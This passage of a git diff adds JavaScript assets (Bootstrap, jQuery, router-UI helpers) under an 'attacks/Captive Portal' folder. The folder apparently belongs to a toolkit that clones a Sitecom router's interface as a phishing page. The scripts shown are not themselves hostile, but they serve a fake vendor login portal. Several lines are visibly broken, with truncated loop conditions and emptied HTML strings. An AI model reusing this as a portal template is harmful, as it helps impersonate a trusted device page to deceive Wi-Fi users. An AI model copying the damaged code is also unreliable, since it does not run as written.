a||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},d.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},d.prototype.to=function(a){var h=this,g=this.getActiveIndex();return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){h.to(a)}):g==a?this.pause().cycle():this.slide(a>g?"next":"prev",e(this.$items[a]))},d.prototype.pause=function(a){return a||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},d.prototype.next=function(){return this.sliding?void 0:this.slide("next")},d.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},d.prototype.slide=function(r,q){var p=this.$element.find(".item.active"),o=q||p[r](),n=this.interval,m="next"==r?"left":"right",l="next"==r?"first":"last",k=this;if(!o.length){if(!this.options.wrap){return}o=this.$element.find(".item")[l]()}if(o.hasClass("active")){return this.sliding=!1}var a=e.Event("slide.bs.carousel",{relatedTarget:o[0],direction:m});return this.$element.trigger(a),a.isDefaultPrevented()?void 0:(this.sliding=!0,n&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var c=e(k.$indicators.children()[k.getActiveIndex()]);c&&c.addClass("active")})),e.support.transition&&this.$element.hasClass("slide")?(o.addClass(r),o[0].offsetWidth,p.addClass(m),o.addClass(m),p.one(e.support.transition.end,function(){o.removeClass([r,m].join(" ")).addClass("active"),p.removeClass(["active",m].join(" ")),k.sliding=!1,setTimeout(function(){k.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1000*p.css("transition-duration").slice(0,-1))):(p.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),n&&this.cycle(),this)};var f=e.fn.carousel;e.fn.carousel=function(a){return this.each(function(){var i=e(this),h=i.data("bs.carousel"),c=e.extend({},d.DEFAULTS,i.data(),"object"==typeof a&&a),b="string"==typeof a?a:c.slide;h||i.data("bs.carousel",h=new d(this,c)),"number"==typeof a?h.to(a):b?h[b]():c.interval&&h.pause().cycle()})},e.fn.carousel.Constructor=d,e.fn.carousel.noConflict=function(){return e.fn.carousel=f,this},e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(a){var l,k=e(this),j=e(k.attr("data-target")||(l=k.attr("href"))&&l.replace(/.*(?=#[^\s]+$)/,"")),i=e.extend({},j.data(),k.data()),h=k.attr("data-slide-to");h&&(i.interval=!1),j.carousel(i),(h=k.attr("data-slide-to"))&&j.data("bs.carousel").to(h),a.preventDefault()}),e(window).on("load",function(){e('[data-ride="carousel"]').each(function(){var a=e(this);a.carousel(a.data())})})}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.transitioning=null,this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var b=this.$element.hasClass("width");return b?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var l=this.$parent&&this.$parent.find("> .panel > .in");if(l&&l.length){var k=l.data("bs.collapse");if(k&&k.transitioning){return}l.collapse("hide"),k||l.data("bs.collapse",null)}var j=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[j](0),this.transitioning=1;var i=function(){this.$element.removeClass("collapsing").addClass("collapse in")[j]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition){return i.call(this)}var h=e.camelCase(["scroll",j].join("-"));this.$element.one(e.support.transition.end,e.proxy(i,this)).emulateTransitionEnd(350)[j](this.$element[0][h])}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var a=e.Event("hide.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var h=this.dimension();this.$element[h](this.$element[h]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var g=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return e.support.transition?void this.$element[h](0).one(e.support.transition.end,e.proxy(g,this)).emulateTransitionEnd(350):g.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var f=e.fn.collapse;e.fn.collapse=function(a){return this.each(function(){var g=e(this),c=g.data("bs.collapse"),b=e.extend({},d.DEFAULTS,g.data(),"object"==typeof a&&a);!c&&b.toggle&&"show"==a&&(a=!a),c||g.data("bs.collapse",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.collapse.Constructor=d,e.fn.collapse.noConflict=function(){return e.fn.collapse=f,this},e(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(r){var q,p=e(this),o=p.attr("data-target")||r.preventDefault()||(q=p.attr("href"))&&q.replace(/.*(?=#[^\s]+$)/,""),n=e(o),m=n.data("bs.collapse"),l=m?"toggle":p.data(),k=p.attr("data-parent"),a=k&&e(k);m&&m.transitioning||(a&&a.find('[data-toggle=collapse][data-parent="'+k+'"]').not(p).addClass("collapsed"),p[n.hasClass("in")?"addClass":"removeClass"]("collapsed")),n.collapse(l)})}(jQuery),+function(i){function h(a){i(m).remove(),i(l).each(function(){var c=n(i(this)),b={relatedTarget:this};c.hasClass("open")&&(c.trigger(a=i.Event("hide.bs.dropdown",b)),a.isDefaultPrevented()||c.removeClass("open").trigger("hidden.bs.dropdown",b))})}function n(a){var f=a.attr("data-target");f||(f=a.attr("href"),f=f&&/#[A-Za-z]/.test(f)&&f.replace(/.*(?=#[^\s]*$)/,""));var e=f&&i(f);return e&&e.length?e:a.parent()}var m=".dropdown-backdrop",l="[data-toggle=dropdown]",k=function(a){i(a).on("click.bs.dropdown",this.toggle)};k.prototype.toggle=function(p){var o=i(this);if(!o.is(".disabled, :disabled")){var c=n(o),b=c.hasClass("open");if(h(),!b){"ontouchstart" in document.documentElement&&!c.closest(".navbar-nav").length&&i(''}),d.prototype=e.extend({},e.fn.tooltip.Constructor.prototype),d.prototype.constructor=d,d.prototype.getDefaults=function(){return d.DEFAULTS},d.prototype.setContent=function(){var h=this.tip(),g=this.getTitle(),i=this.getContent();h.find(".popover-title")[this.options.html?"html":"text"](g),h.find(".popover-content")[this.options.html?"string"==typeof i?"html":"append":"text"](i),h.removeClass("fade top bottom left right in"),h.find(".popover-title").html()||h.find(".popover-title").hide()},d.prototype.hasContent=function(){return this.getTitle()||this.getContent()},d.prototype.getContent=function(){var g=this.$element,c=this.options;return g.attr("data-content")||("function"==typeof c.content?c.content.call(g[0]):c.content)},d.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},d.prototype.tip=function(){return this.$tip||(this.$tip=e(this.options.template)),this.$tip};var f=e.fn.popover;e.fn.popover=function(a){return this.each(function(){var g=e(this),c=g.data("bs.popover"),b="object"==typeof a&&a;(c||"destroy"!=a)&&(c||g.data("bs.popover",c=new d(this,b)),"string"==typeof a&&c[a]())})},e.fn.popover.Constructor=d,e.fn.popover.noConflict=function(){return e.fn.popover=f,this}}(jQuery),+function(e){function d(h,g){var b,a=e.proxy(this.process,this);this.$element=e(e(h).is("body")?window:h),this.$body=e("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",a),this.options=e.extend({},d.DEFAULTS,g),this.selector=(this.options.target||(b=e(h).attr("href"))&&b.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=e([]),this.targets=e([]),this.activeTarget=null,this.refresh(),this.process()}d.DEFAULTS={offset:10},d.prototype.refresh=function(){var a=this.$element[0]==window?"offset":"position";this.offsets=e([]),this.targets=e([]);var g=this;this.$body.find(this.selector).map(function(){var h=e(this),c=h.data("target")||h.attr("href"),b=/^#./.test(c)&&e(c);return b&&b.length&&b.is(":visible")&&[[b[a]().top+(!e.isWindow(g.$scrollElement.get(0))&&g.$scrollElement.scrollTop()),c]]||null}).sort(function(h,c){return h[0]-c[0]}).each(function(){g.offsets.push(this[0]),g.targets.push(this[1])})},d.prototype.process=function(){var i,h=this.$scrollElement.scrollTop()+this.options.offset,n=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,m=n-this.$scrollElement.height(),l=this.offsets,k=this.targets,j=this.activeTarget;if(h>=m){return j!=(i=k.last()[0])&&this.activate(i)}if(j&&h<=l[0]){return j!=(i=k[0])&&this.activate(i)}for(i=l.length;i--;){j!=k[i]&&h>=l[i]&&(!l[i+1]||h<=l[i+1])&&this.activate(k[i])}},d.prototype.activate=function(a){this.activeTarget=a,e(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var h=this.selector+'[data-target="'+a+'"],'+this.selector+'[href="'+a+'"]',g=e(h).parents("li").addClass("active");g.parent(".dropdown-menu").length&&(g=g.closest("li.dropdown").addClass("active")),g.trigger("activate.bs.scrollspy")};var f=e.fn.scrollspy;e.fn.scrollspy=function(a){return this.each(function(){var g=e(this),c=g.data("bs.scrollspy"),b="object"==typeof a&&a;c||g.data("bs.scrollspy",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.scrollspy.Constructor=d,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=f,this},e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var a=e(this);a.scrollspy(a.data())})})}(jQuery),+function(e){var d=function(a){this.element=e(a)};d.prototype.show=function(){var a=this.element,l=a.closest("ul:not(.dropdown-menu)"),k=a.data("target");if(k||(k=a.attr("href"),k=k&&k.replace(/.*(?=#[^\s]*$)/,"")),!a.parent("li").hasClass("active")){var j=l.find(".active:last a")[0],i=e.Event("show.bs.tab",{relatedTarget:j});if(a.trigger(i),!i.isDefaultPrevented()){var h=e(k);this.activate(a.parent("li"),l),this.activate(h,h.parent(),function(){a.trigger({type:"shown.bs.tab",relatedTarget:j})})}}},d.prototype.activate=function(a,l,k){function j(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),a.addClass("active"),h?(a[0].offsetWidth,a.addClass("in")):a.removeClass("fade"),a.parent(".dropdown-menu")&&a.closest("li.dropdown").addClass("active"),k&&k()}var i=l.find("> .active"),h=k&&e.support.transition&&i.hasClass("fade");h?i.one(e.support.transition.end,j).emulateTransitionEnd(150):j(),i.removeClass("in")};var f=e.fn.tab;e.fn.tab=function(a){return this.each(function(){var c=e(this),b=c.data("bs.tab");b||c.data("bs.tab",b=new d(this)),"string"==typeof a&&b[a]()})},e.fn.tab.Constructor=d,e.fn.tab.noConflict=function(){return e.fn.tab=f,this},e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(a){a.preventDefault(),e(this).tab("show")})}(jQuery),+function(e){var d=function(b,a){this.options=e.extend({},d.DEFAULTS,a),this.$window=e(window).on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};d.RESET="affix affix-top affix-bottom",d.DEFAULTS={offset:0},d.prototype.getPinnedOffset=function(){if(this.pinnedOffset){return this.pinnedOffset}this.$element.removeClass(d.RESET).addClass("affix");var b=this.$window.scrollTop(),g=this.$element.offset();return this.pinnedOffset=g.top-b},d.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},d.prototype.checkPosition=function(){if(this.$element.is(":visible")){var r=e(document).height(),q=this.$window.scrollTop(),p=this.$element.offset(),o=this.options.offset,n=o.top,m=o.bottom;"top"==this.affixed&&(p.top+=q),"object"!=typeof o&&(m=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof m&&(m=o.bottom(this.$element));var l=null!=this.unpin&&q+this.unpin<=p.top?!1:null!=m&&p.top+this.$element.height()>=r-m?"bottom":null!=n&&n>=q?"top":!1;if(this.affixed!==l){this.unpin&&this.$element.css("top","");var b="affix"+(l?"-"+l:""),a=e.Event(b+".bs.affix");this.$element.trigger(a),a.isDefaultPrevented()||(this.affixed=l,this.unpin="bottom"==l?this.getPinnedOffset():null,this.$element.removeClass(d.RESET).addClass(b).trigger(e.Event(b.replace("affix","affixed"))),"bottom"==l&&this.$element.offset({top:r-m-this.$element.height()}))}}};var f=e.fn.affix;e.fn.affix=function(a){return this.each(function(){var g=e(this),c=g.data("bs.affix"),b="object"==typeof a&&a;c||g.data("bs.affix",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.affix.Constructor=d,e.fn.affix.noConflict=function(){return e.fn.affix=f,this},e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var a=e(this),g=a.data();g.offset=g.offset||{},g.offsetBottom&&(g.offset.bottom=g.offsetBottom),g.offsetTop&&(g.offset.top=g.offsetTop),a.affix(g)})})}(jQuery); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js new file mode 100644 index 0000000..92eb28e --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/common.js @@ -0,0 +1 @@ +try{$(document).ready(function(){$("table.az_wrap").wrap("
    ");$("table").attr("border","0");$("table").addClass("table table-condensed table-hover");$("table tr:has(input), table tr:has(select)").removeClass("row-even").siblings("tr").removeClass("row-even");$("table tr:has(input), table tr:has(select)").removeClass("row-odd").siblings("tr").removeClass("row-odd");$("table.az_wrap tr:even").addClass("row-even");$("table.az_wrap tr:odd").addClass("row-odd");$("table.az_wrap").addClass("table-bordered");$("table tr td:first-child").addClass("column-first");$("table tr td:last-child").addClass("column-last");$("table tr td").attr("align","");$("form").attr("role","form");$("form").addClass("form-horizontal");$(":text,textarea,select,:password").addClass("form-control input-sm");$(":button[value='Remove'],:submit[value='Remove'],:submit[value='DELETE']").addClass("btn btn-danger btn-sm");$(":button[value='View'],:submit[value='View'],:reset,:button[value='CANCEL'],:submit[value='CANCEL']").addClass("btn btn-info btn-sm");$(":button[value='Load Signed'],:submit[value='Load Signed']").addClass("btn btn-success btn-sm");$(":button[value='View'],:submit[value='View']").addClass("btn btn-info btn-sm");$(":button,:submit").not(".btn").addClass("btn btn-primary btn-sm");parent.showBaseframe();parent.autoResize("basefrm");try{$(".az_tooltip").tooltip();$(".az_popover").popover()}catch(a){}try{if(screenDaig==1){$("a[data-target=#helpModal]").click(function(b){b.preventDefault();var c=$(this).attr("href");$("#helpModal .modal-body").load(c,function(){$("#helpModal").modal("show")})})}}catch(a){}try{if(screenSyslog==1){$("body").on("hidden.bs.modal",".modal",function(){$(this).removeData("bs.modal")});$("#summaryModal").on("loaded.bs.modal",function(b){$(this).find("table tr:even").addClass("row-even");$(this).find("table tr:odd").addClass("row-odd");$(this).find("table.az_wrap").wrap("
    ")})}}catch(a){}})}catch(e){parent.showBaseframe();parent.autoResize("basefrm")}; \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js new file mode 100644 index 0000000..f4c8b10 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/detectmobilebrowser.js @@ -0,0 +1 @@ +(function(b){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); \ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js new file mode 100644 index 0000000..6cd90c7 --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/general.js @@ -0,0 +1 @@ +var vstrings=parent.ary_strings;function DictionaryStrings(){this.dicObj={};if(typeof(vstrings)=="undefined"){alert("Load strings failure for js!!");return}for(var a=0;vstrings[a][0]!="";a++){this.dicObj[vstrings[a][0]]=vstrings[a][1]}this.getstring=function(b){if(typeof(this.dicObj[b])!="undefined"){return this.dicObj[b]}else{alert(b+":has not be defined in language string array!");return""}}}var langtxt=new DictionaryStrings();window._=function(a){return langtxt.getstring(a)};function doValidIPAndMask(c,b,a){if((c=="")&&(b!="")){if(a==1){alert(_("DesIPInvalid")+c)}else{if(a==2){alert(_("SorIPInvalid"))}else{alert(_("IPIsEmpty"))}}return false}else{if((c!="")&&(b=="")){if(a==1){alert(_("DesNetInvalid"))}else{if(a==2){alert(_("SorNetInvalid"))}else{alert(_("SubMaskInvalid")+b)}}return false}else{return true}}}function chineseCheck(b,a){var f=document.getElementById(a);var e=f.innerText;var d=b.value;var c;if(e==undefined){e="Warning : input"}for(c=0;c255){alert(e+_("ContentCHN"));return true}}return false}function isValidAscii(c){for(var a=0;a"~"){return b}}return""}function isNumeric(c){var a=c.length;var b;if(a==0){return false}for(i=0;i"9"||b<"0"){return false}}return true}function isValidUrlName(b){var c=0;var a=new Array();a[c++]="www";a[c++]="com";a[c++]="org";a[c++]="net";a[c++]="edu";a[c++]="www.";a[c++]=".com";a[c++]=".org";a[c++]=".net";a[c++]=".edu";if(isValidAscii(b)!=""){return false}for(c=0;c0) + { + c_start=document.cookie.indexOf(c_name + "=") + if (c_start!=-1) + { + c_start=c_start + c_name.length+1 + c_end=document.cookie.indexOf(";",c_start) + if (c_end==-1) c_end=document.cookie.length + return unescape(document.cookie.substring(c_start,c_end)) + } + } + return default_language; +} + +function calcHeight(source) +{ + var browser=navigator.userAgent.toLowerCase(); + if (browser.indexOf('safari/') == -1 || browser.indexOf('mozilla/') == -1 || browser.indexOf('opera/') == -1){ + var extra=25; + }else{ + var extra=0; + } + if(source=='parent'){ + //find the height of the internal page + var the_height=document.getElementById('iframe').contentWindow.document.body.scrollHeight; + //change the height of the iframe + document.getElementById('iframe').height=the_height + extra; + } + else if( source=='parent1' ){ + var the_height=document.getElementById('client_list').contentWindow.document.body.scrollHeight; + document.getElementById('client_list').height=the_height + extra; + } + else if( source=='parent2' ){ + var the_height=document.getElementById('static_list').contentWindow.document.body.scrollHeight; + document.getElementById('static_list').height=the_height + extra; + } + else if( source=='parent3' ){ + var the_height=document.getElementById('routing_frame').contentWindow.document.body.scrollHeight; + document.getElementById('routing_frame').height=the_height + extra; + } + else if( source=='parent4' ){ + var the_height=document.getElementById('acl_frame').contentWindow.document.body.scrollHeight; + document.getElementById('acl_frame').height=the_height + extra; + } + else if( source=='parent5' ){ + var the_height=document.getElementById('ipfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipfilter_frame').height=the_height + extra; + } + else if( source=='parent6' ){ + var the_height=document.getElementById('cgi_frame').contentWindow.document.body.scrollHeight; + document.getElementById('cgi_frame').height=the_height + extra; + } + else if( source=='parent7' ){ + var the_height=document.getElementById('ipaddr_frame').contentWindow.document.body.scrollHeight; + document.getElementById('ipaddr_frame').height=the_height + extra; + } + else if( source=='parent8' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else if( source=='parent9' ){ + var the_height=document.getElementById('urlfilter_frame').contentWindow.document.body.scrollHeight; + document.getElementById('urlfilter_frame').height=the_height + extra; + } + else{ + //find the height of the internal page + var the_height=document.body.scrollHeight; + //change the height of the iframe + parent.document.getElementById('iframe').height=the_height + extra; + } +} + +function swapClass(main){ + var items=['one','two','three','four','five','six']; + for (var i in items){ + if (items[i]==main){ + document.getElementById(items[i]).className="on"; + }else{ + document.getElementById(items[i]).className="off"; + } + } +} + +function readFile(url){ + var xmlhttp; + /*@cc_on + @if (@_jscript_version >= 5) + try { + xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); + } catch (e) { + try { + xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); + } catch (E) { + xmlhttp = false; + } + } + @else + xmlhttp = false; + @end @*/ + + if (!xmlhttp && typeof XMLHttpRequest != 'undefined') { + try { + xmlhttp = new XMLHttpRequest(); + } catch (e) { + xmlhttp = false; + } + } + xmlhttp.open("GET",url,false); + xmlhttp.send(null); + return xmlhttp.responseText; +} + +function showText(number) { + return tekst_array[number]; +} +/*var select_language=[ 'uk', 'de', 'nl', 'fr', 'it', 'es', 'pt', 'no', 'dk', 'se', 'fi', 'ru' ]; +var stype = getCookie('language'); +function dw(message) +{ + document.write(message[0]); + for(i=0; i<12; i++){ + if(stype == select_language[i]) + document.write(message[i]); + } +}*/ +function decode(code){ +code=code.replace(/"/g,'\\"'); +code='" '+code+' "'; +code=(eval(code)); +return code +} +function decode_1(code,idx,len){ +code=code.replace(/"/g,'\\"'); +code="'"+code+"'" +code=(eval(code)); +return code +} + +function basicLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(13))+""); + document.write(""+(showText(14))+""); + document.write(""+(showText(15))+""); + document.write(""+(showText(16))+""); + document.write(""+(showText(17))+""); + document.write(""+(showText(628))+""); +} + +function advancedLink(index){ + var picArry=new Array(); + for(i=1;i<=8;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(629))+""); + document.write(""+(showText(630))+""); + document.write(""+(showText(631))+""); + document.write(""+(showText(19))+""); + document.write(""+(showText(632))+""); + document.write(""+(showText(633))+""); + document.write(""+(showText(634))+""); + document.write("TR-69"); + +} + +function firewallLink(index){ + var picArry=new Array(); + for(i=1;i<=6;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(5))+""); + document.write(""+(showText(636))+""); + document.write(""+(showText(637))+""); + document.write(""+(showText(638))+""); + document.write(""+(showText(639))+""); + +} + +function maintenanceLink(index){ + var picArry=new Array(); + for(i=1;i<=5;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(26))+""); + document.write(""+(showText(640))+""); + document.write(""+(showText(29))+""); + document.write(""+(showText(641))+""); + document.write("System log"); + +} + +function statusLink(index){ + var picArry=new Array(); + for(i=1;i<=4;i++){ + picArry[i]=(i==index)?" class=\"actief\"":"" + } + document.write(""+(showText(8))+""); + document.write(""+(showText(9))+""); + document.write(""+(showText(11))+""); + document.write(""+(showText(32))+""); + +} diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js b/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js new file mode 100644 index 0000000..2aa5d7c --- /dev/null +++ b/attacks/Captive Portal/sites/Sitecom_it.portal/js/jquery-1.11.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v1.11.0 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(d,c){"object"==typeof module&&"object"==typeof module.exports?module.exports=d.document?c(d,!0):function(b){if(!b.document){throw new Error("jQuery requires a window with a document")}return c(b)}:c(d)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k="".trim,l={},m="1.11.0",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++){if(null!=(e=arguments[h])){for(d in e){a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c))}}}return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a){return !1}return !0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a)){return !1}try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf")){return !1}}catch(c){return !1}if(l.ownLast){for(b in a){return j.call(a,b)}}for(b in a){}return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++){if(d=b.apply(a[e],c),d===!1){break}}}else{for(e in a){if(d=b.apply(a[e],c),d===!1){break}}}}else{if(g){for(;f>e;e++){if(d=b.call(a[e],e,a[e]),d===!1){break}}}else{for(e in a){if(d=b.call(a[e],e,a[e]),d===!1){break}}}}return a},trim:k&&!k.call("\ufeff\xa0")?function(a){return null==a?"":k.call(a)}:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g){return g.call(b,a,c)}for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++){if(c in b&&b[c]===a){return c}}}return -1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d){a[e++]=b[d++]}if(c!==c){while(void 